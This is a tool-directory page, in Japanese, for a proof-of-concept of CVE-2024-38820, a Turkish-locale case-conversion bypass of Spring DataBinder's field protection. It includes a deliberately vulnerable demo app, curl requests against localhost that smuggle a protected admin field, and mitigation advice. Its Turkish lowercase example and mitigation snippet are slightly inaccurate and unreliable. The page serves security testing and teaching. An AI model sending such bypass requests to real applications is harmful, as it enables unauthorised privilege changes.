Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC-CVE-2024-38820 — CVE-2024-38820の概念実証エクスプロイト。Spring Framework DataBinderのdisallowedFields保護に対するロケール依存の大文字小文字変換バイパスを実証し、自動テストと緩和ガイダンスを提供します。 | Kitploit
ツール/GitHubGitHub/kadamnayan/poc-cve-2024-38820
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

CVE-2024-38820の概念実証エクスプロイト。Spring Framework DataBinderのdisallowedFields保護に対するロケール依存の大文字小文字変換バイパスを実証し、自動テストと緩和ガイダンスを提供します。

リポジトリを見る
811ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-38820 概念実証

概要

このプロジェクトは、CVE-2024-38820 を実証します。これは、Spring Framework の DataBinder における脆弱性で、ロケール依存の大文字小文字変換の問題により disallowedFields 保護をバイパスすることを可能にします。

脆弱性の詳細

  • CVE ID: CVE-2024-38820
  • 影響を受けるコンポーネント: Spring Framework DataBinder
  • 根本原因: String.toLowerCase() の動作がロケールによって異なる
  • 影響: フィールド保護のバイパス、権限昇格の可能性

問題点

CVE-2022-22968 の修正により、String.toLowerCase() を使用して disallowedFields パターンが大文字小文字を区別しなくなりました。しかし、このメソッドにはロケール依存の例外があります:

  • トルコ語ロケール: "ADMINID".toLowerCase() は "adminıd" になります (ドットなしの ı)
  • 英語ロケール: "ADMINID".toLowerCase() は "adminid" になります

この違いにより、攻撃者は特定の大文字小文字のバリエーションを使用してフィールド保護をバイパスできる可能性があります。

プロジェクト構造

src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

クイックスタート

1. ビルドと実行

# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

アプリケーションは http://localhost:8081 で起動します

2. 手動テスト

ロケール情報を確認するにはテストエンドポイントにアクセスしてください:

http://localhost:8081/test

さまざまなフィールド名のバリエーションを試してください:

# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. 自動テスト

包括的なテストスクリプトを実行:

./test-cve-2024-38820.sh

期待される結果

トルコ語ロケール (tr_TR) の場合

  • ✅ adminId=999 → ブロック (通常のケース)
  • 🚨 ADMINID=999 → バイパス (大文字)
  • 🚨 AdminId=999 → バイパス (混合ケース)
  • 🚨 ADMİNID=999 → バイパス (トルコ語の İ)

英語ロケール (en_US) の場合

  • ✅ adminId=999 → ブロック (通常のケース)
  • ✅ ADMINID=999 → ブロック (保護済み)
  • ✅ AdminId=999 → ブロック (保護済み)

設定

ロケールの変更

src/main/resources/application.properties を編集:

# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

JVM ロケールの設定

JVM デフォルトロケールを設定することもできます:

mvn spring-boot:run -Duser.language=tr -Duser.country=TR

脆弱性分析

コードフロー

  1. リクエスト処理: Spring がパラメータを含む HTTP リクエストを受信
  2. DataBinder のセットアップ: @InitBinder が disallowedFields("adminId") を設定
  3. フィールドマッチング: Spring が toLowerCase() を使用して大文字小文字を区別しないマッチングを実行
  4. ロケールの問題: トルコ語ロケールでは、"ADMINID".toLowerCase() ≠ "adminid"
  5. バイパス: フィールド保護が失敗し、adminId が設定される

デバッグ出力

アプリケーションは詳細情報をログに記録します:

=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

影響を受けるバージョン

  • Spring Framework: 5.3.x (5.3.40 未満), 6.0.x (6.0.24 未満), 6.1.x (6.1.13 未満)
  • Spring Boot: 影響を受ける Spring Framework バージョンを使用している 2.x および 3.x バージョン

緩和策

1. Spring Framework のアップグレード

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. 明示的なロケール設定

ロケールを認識するフィールドマッチングを使用:

@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. カスタムフィールド検証

ロケール依存の操作に依存しないカスタムフィールド検証を実装します。

参考文献

  • CVE-2024-38820 - NVD
  • Spring Framework Security Advisory
  • Related CVE-2022-22968

法的通知

この概念実証は教育およびセキュリティ研究目的のみです。責任を持って使用し、所有するシステムまたはテストする明示的な許可を得たシステムでのみ使用してください。

ツールをダウンロード